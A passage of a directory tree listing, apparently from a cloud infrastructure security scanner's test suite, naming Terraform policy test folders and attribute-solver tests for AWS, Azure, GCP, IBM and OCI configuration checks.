└── main.tf │ │ │ │ ├── AccessControlGroupRuleDefine/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AccessToPostgreSQLFromAzureServicesIsDisabled/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AdministratorUserNotAssociatedWithAPIKey/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AppLoadBalancerTLS12/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AppSyncProtectedByWAF/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── ApplicationGatewayEnablesWAF/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AppsyncWebACLConfiguredWIthLog4jVulnerability/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AutoScalingEnableOnDynamoDBTables/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AutoScalingEnabledLB/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AutoScallingEnabledELB/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AzureACR_HTTPSwebhook/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AzureAKSclusterAzureCNIEnabled/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AzureActiveDirectoryAdminIsConfigured/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AzureAntimalwareIsConfiguredWithAutoUpdatesForVMs/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AzureAutomationAccConfigManagedIdentity/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AzureAutomationAccNotOverlyPermissiveNetAccess/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AzureCognitiveServicesCustomerManagedKey/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AzureConfigMSSQLwithAD/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AzureContainerInstanceconfigManagedIdentity/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AzureDataFactoriesEncryptedWithCustomerManagedKey/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AzureKeyVaultConfigPrivateEndpoint/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AzureMLWorkspaceHBIPublicNetwork/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AzureMLWorkspacePublicNetwork/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AzureMSSQLServerHasSecurityAlertPolicy/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AzureMSSQLserverConfigPrivEndpt/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AzureMariaDBserverConfigPrivEndpt/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AzureMariaDBserverUsingTLS_1_2/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AzureMySQLFlexibleServerConfigPrivEndpt/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AzureMySQLserverConfigPrivEndpt/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AzureNetworkInterfacePublicIPAddressId/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AzurePostgreSQLFlexServerNotOverlyPermissive/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AzurePostgreSQLFlexibleServerConfigPrivEndpt/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AzurePostgreSQLserverConfigPrivEndpt/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AzureRecoveryServicesvaultConfigManagedIdentity/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AzureSQLserverNotOverlyPermissive/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AzureSpringCloudConfigWithVnet/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AzureSpringCloudTLSDisabled/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AzureSqlDbEnableTransparentDataEncryption/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AzureStorageAccConfigSharedKeyAuth/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AzureStorageAccConfigWithPrivateEndpoint/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AzureStorageAccConfigWithoutBlobAnonymousAccess/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AzureStorageAccConfig_SAS_expirePolicy/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AzureStorageAccountEnableSoftDelete/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AzureSubnetConfigWithNSG/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AzureSynapseWorkspaceVAisEnabled/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AzureUnattachedDisksAreEncrypted/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── AzureVMconfigPublicIP_SerialConsoleAccess/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── CLoudFrontS3OriginConfigWithOAI/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── CloudFrontHasCustomSSLCertificate/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── CloudFrontHasResponseHeadersPolicy/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── CloudFrontUsesSecureProtocolsForHTTPS/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── CloudFrontWebACLConfiguredWIthLog4jVulnerability/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── CloudFunctionSecureHTTPTrigger/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── CloudfrontOriginNotHTTPSOnly/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── CloudtrailHasCloudwatch/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── CodecommitApprovalRulesAttached/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── ConfigRecorderRecordsAllGlobalResources/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── CustomAwsEMRSecurityConfiguration/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── CustomPolicy1/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── CustomPolicy2/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── DMSEndpointHaveSSLConfigured/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── DataExplorerEncryptionUsesCustomKey/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── DisableAccessToSqlDBInstanceForRootUsersWithoutPassword/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── EBSAddedBackup/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── EC2InstanceHasIAMRoleAttached/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── EFSAddedBackup/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── EFSAddedBackupSuppress/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── EIPAllocatedToVPCAttachedEC2/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── EMRClusterHasSecurityConfiguration/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── ElastiCacheRedisConfiguredAutomaticFailOver/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── ElasticSearchDedicatedMasterEnabled/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── EncryptedEBSVolumeOnlyConnectedToEC2s/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── GCPAuditLogsConfiguredForAllServicesAndUsers/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── GCPComputeFirewallOverlyPermissiveToAllTraffic/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── GCPComputeGlobalForwardingRuleCheck/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── GCPComputeRegionalForwardingRuleCheck/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── GCPContainerRegistryReposAreNotPubliclyAccessible/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── GCPDialogFlowAgentLoggingEnabled/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── GCPDialogFlowCxAgentLoggingEnabled/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── GCPDialogFlowCxWebhookLoggingEnabled/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── GCPDocumentAIProcessorEncryptedWithCMK/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── GCPDocumentAIWarehouseLocationEncryptedWithCMK/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── GCPKMSCryptoKeysAreNotPubliclyAccessible/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── GCPKMSKeyRingsAreNotPubliclyAccessible/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── GCPLogBucketsConfiguredUsingLock/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── GCPMySQLdbInstancePoint_In_TimeRecoveryBackupIsEnabled/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── GCPNetworkDoesNotUseDefaultFirewall/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── GCPPostgreSQLDatabaseFlaglog_durationIsSetToON/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── GCPPostgreSQLDatabaseFlaglog_executor_statsIsSetToOFF/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── GCPPostgreSQLDatabaseFlaglog_parser_statsIsSetToOFF/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── GCPPostgreSQLDatabaseFlaglog_planner_statsIsSetToOFF/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── GCPPostgreSQLDatabaseFlaglog_statement_statsIsSetToOFF/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── GCPProjectHasNoLegacyNetworks/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── GCPTpuV2VmPrivateEndpoint/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── GCPVertexAIEndpointEncryptedWithCMK/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── GCPVertexAIFeaturestoreEncryptedWithCMK/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── GCPVertexAIPrivateEndpoint/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── GCPVertexAIPrivateIndexEndpoint/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── GCPVertexAITensorboardEncryptedWithCMK/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── GCPVertexInstanceEncryptedWithCMK/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── GCPVertexRuntimeEncryptedWithCMK/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── GCPVertexRuntimePrivate/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── GCPVertexWorkbenchInstanceEncryptedWithCMK/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── GCPVertexWorkbenchInstanceNoPublicIp/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── GCPdisableAlphaClusterFeatureInKubernetesEngineClusters/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── GCRContainerVulnerabilityScanningEnabled/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── GKEClustersAreNotUsingDefaultServiceAccount/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── GuardDutyIsEnabled/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── HTTPNotSendingPasswords/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── IAMGroupHasAtLeastOneUser/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── IAMManagedIAMFullAccessPolicy/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── IAMPolicyNotAllowFullIAMAccess/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── IAMUserHasNoConsoleAccess/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── IAMUsersAreMembersAtLeastOneGroup/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── IBM_DatabasesNWaccessRestrictedToSpecificIPrange/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── IBM_EnableMFAatAccountLevel/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── IBM_K8sClustersAccessibleViaPrivateEndPt/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── IBM_LoadBalancerforVPCisPrivate/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── IBM_RestrictAPIkeyCreationInAccountSettings/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── IBM_RestrictServiceIDCreationInAccountSettings/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── IBM_VPCclassicAccessIsDisabled/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── KmsKeyPolicyIsDefined/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── LBTargetGroup/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── LBWeakCiphers/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── LambdaOpenCorsPolicy/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── MSQLenablesCustomerManagedKey/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── NeptuneDeletionProtectionEnabled/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── NetworkFirewallHasLogging/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── OCI_K8EngineClusterBootVolConfigInTransitEncryption/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── OCI_K8EngineClusterPodSecPolicyEnforced/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── OCI_KubernetesEngineClusterEndpointConfigWithNSG/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── OCI_NFSaccessRestrictedToRootUsers/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── OCI_NSGNotAllowRDP/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── OSSBucketPublic/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── OpenSearchDomainHasFineGrainedControl/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── PGSQLenablesCustomerManagedKey/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── PostgresDBHasQueryLoggingEnabled/ │ │ │ │ │ ├── db.tf │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── rds.tf │ │ │ │ ├── PostgresRDSHasQueryLoggingEnabled/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── rds.tf │ │ │ │ ├── RDSClusterHasBackupPlan/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── RDSEnableCopyTagsToSnapshot/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── RDSEncryptionInTransit/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── RepositoryHasBranchProtection/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── Route53ARecordAttachedResource/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── Route53ZoneEnableDNSSECSigning/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── Route53ZoneHasMatchingQueryLog/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── RouteTablePublicSubnetConnection/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── S3BucketEncryption/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── S3BucketEventNotifications/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── S3BucketHasPublicAccessBlock/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── S3BucketLifecycle/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── S3BucketLogging/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── S3BucketReplicationConfiguration/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── S3BucketVersioning/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── S3KMSEncryptedByDefault/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── S3NotAllowAccessToAllAuthenticatedUsers/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── S3PublicACLRead/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── main.tf │ │ │ │ │ └── same_resource_name/ │ │ │ │ │ └── main.tf │ │ │ │ ├── S3PublicACLWrite/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── SGAttachedToResource/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── SQLServerAuditingEnabled/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── SQLServerAuditingRetention90Days/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── SQSEncryptionCMK/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── SageMakerIAMPolicyOverlyPermissiveToAllTraffic/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── SecretsAreRotated/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── ServiceAccountHasGCPmanagedKey/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── StorageContainerActivityLogsNotPublic/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── StorageCriticalDataEncryptedCMK/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── StorageLoggingIsEnabledForBlobService/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── StorageLoggingIsEnabledForTableService/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── SubnetHasACL/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── SynapseLogMonitoringEnabledForSQLPool/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── SynapseSQLPoolHasSecurityAlertPolicy/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── SynapseSQLPoolHasVulnerabilityAssessment/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── SynapseWorkspaceHasExtendedAuditLogs/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── VAconfiguredToSendReports/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── VAconfiguredToSendReportsToAdmins/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── VAisEnabledInStorageAccount/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── VAsetPeriodicScansOnSQL/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── VMHasBackUpMachine/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── VPCHasFlowLog/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── VPCHasOneOfWantedFlowLogs/ │ │ │ │ │ └── main.tf │ │ │ │ ├── VPCHasRestrictedSG/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── VPCPeeringRouteTableOverlyPermissive/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── VirtualMachinesUtilizingManagedDisks/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ ├── WAF2HasLogs/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── main.tf │ │ │ │ └── connected_nodes/ │ │ │ │ └── main.tf │ │ │ ├── test_custom_yaml_policies.py │ │ │ ├── test_yaml_connected_nodes.py │ │ │ └── test_yaml_policies.py │ │ ├── checks_infra/ │ │ │ ├── __init__.py │ │ │ ├── attribute_solvers/ │ │ │ │ ├── __init__.py │ │ │ │ ├── cidr_range_not_subset_solver/ │ │ │ │ │ ├── CIDRRangeNotSubsetList.yaml │ │ │ │ │ ├── CIDRRangeNotSubsetString.yaml │ │ │ │ │ ├── IPV6CIDRRangeNotSubsetList.yaml │ │ │ │ │ ├── JsonPathCIDRRangeNotSubsetList.yaml │ │ │ │ │ ├── JsonPathCIDRRangeNotSubsetString.yaml │ │ │ │ │ ├── JsonPathIPV6CIDRRangeNotSubsetList.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── resources/ │ │ │ │ │ │ └── main.tf │ │ │ │ │ └── test_solver.py │ │ │ │ ├── cidr_range_subset_solver/ │ │ │ │ │ ├── CIDRRangeSubsetList.yaml │ │ │ │ │ ├── CIDRRangeSubsetString.yaml │ │ │ │ │ ├── IPV6CIDRRangeSubsetList.yaml │ │ │ │ │ ├── JsonPathCIDRRangeSubsetList.yaml │ │ │ │ │ ├── JsonPathCIDRRangeSubsetString.yaml │ │ │ │ │ ├── JsonPathIPV6CIDRRangeSubsetList.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── resources/ │ │ │ │ │ │ └── main.tf │ │ │ │ │ └── test_solver.py │ │ │ │ ├── contains_solver/ │ │ │ │ │ ├── NetworkAclsIPs.yaml │ │ │ │ │ ├── PublicSG.yaml │ │ │ │ │ ├── PublicSGMultipleIngress.yaml │ │ │ │ │ ├── PublicVMs.yaml │ │ │ │ │ ├── PublicVMsWithJsonpath.yaml │ │ │ │ │ ├── SpecificBlockSG.yaml │ │ │ │ │ ├── TagIncludes.yaml │ │ │ │ │ ├── VariableDependentPolicy.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ ├── ending_with_solver/ │ │ │ │ │ ├── AmiEndingWith.yaml │ │ │ │ │ ├── AmiEndingWithJsonpath.yaml │ │ │ │ │ ├── UnrenderedVar.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ ├── equals_ignore_case_solver/ │ │ │ │ │ ├── BooleanString.yaml │ │ │ │ │ ├── EncryptedResources.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ ├── equals_solver/ │ │ │ │ │ ├── BooleanString.yaml │ │ │ │ │ ├── Complex.yaml │ │ │ │ │ ├── EncryptedResources.yaml │ │ │ │ │ ├── PublicDBSG.yaml │ │ │ │ │ ├── SGPorts.yaml │ │ │ │ │ ├── UnrenderedVar.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ ├── exists_solver/ │ │ │ │ │ ├── TagEnvironmentExists.yaml │ │ │ │ │ ├── TagEnvironmentExistsAll.yaml │ │ │ │ │ ├── VersioningEnabledExists.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ ├── greater_than_solver/ │ │ │ │ │ ├── GT.yaml │ │ │ │ │ ├── GTE.yaml │ │ │ │ │ ├── LT.yaml │ │ │ │ │ ├── LTE.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── resources/ │ │ │ │ │ │ └── main.tf │ │ │ │ │ └── test_solver.py │ │ │ │ ├── intersects_solver/ │ │ │ │ │ ├── ArrayIntersect.yaml │ │ │ │ │ ├── MivedValue.yaml │ │ │ │ │ ├── NoneAttribute.yaml │ │ │ │ │ ├── PublicVMs.yaml │ │ │ │ │ ├── StringAttribute.yaml │ │ │ │ │ ├── TagsIntersect.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ ├── is_empty_solver/ │ │ │ │ │ ├── SGPorts.yaml │ │ │ │ │ ├── SGPortsJsonpath.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── main.tf │ │ │ │ │ └── test_solver.py │ │ │ │ ├── is_false_solver/ │ │ │ │ │ ├── FalseValue.yaml │ │ │ │ │ ├── TrueValue.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ ├── is_not_empty_solver/ │ │ │ │ │ ├── SGPorts.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── main.tf │ │ │ │ │ └── test_solver.py │ │ │ │ ├── is_true_solver/ │ │ │ │ │ ├── FalseValue.yaml │ │ │ │ │ ├── TrueValue.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ ├── jsonpath_equals_solver/ │ │ │ │ │ ├── AzureSecureRule.yaml │ │ │ │ │ ├── CkSshPortOpenForAll.yaml │ │ │ │ │ ├── EcsWithMerge.yaml │ │ │ │ │ ├── 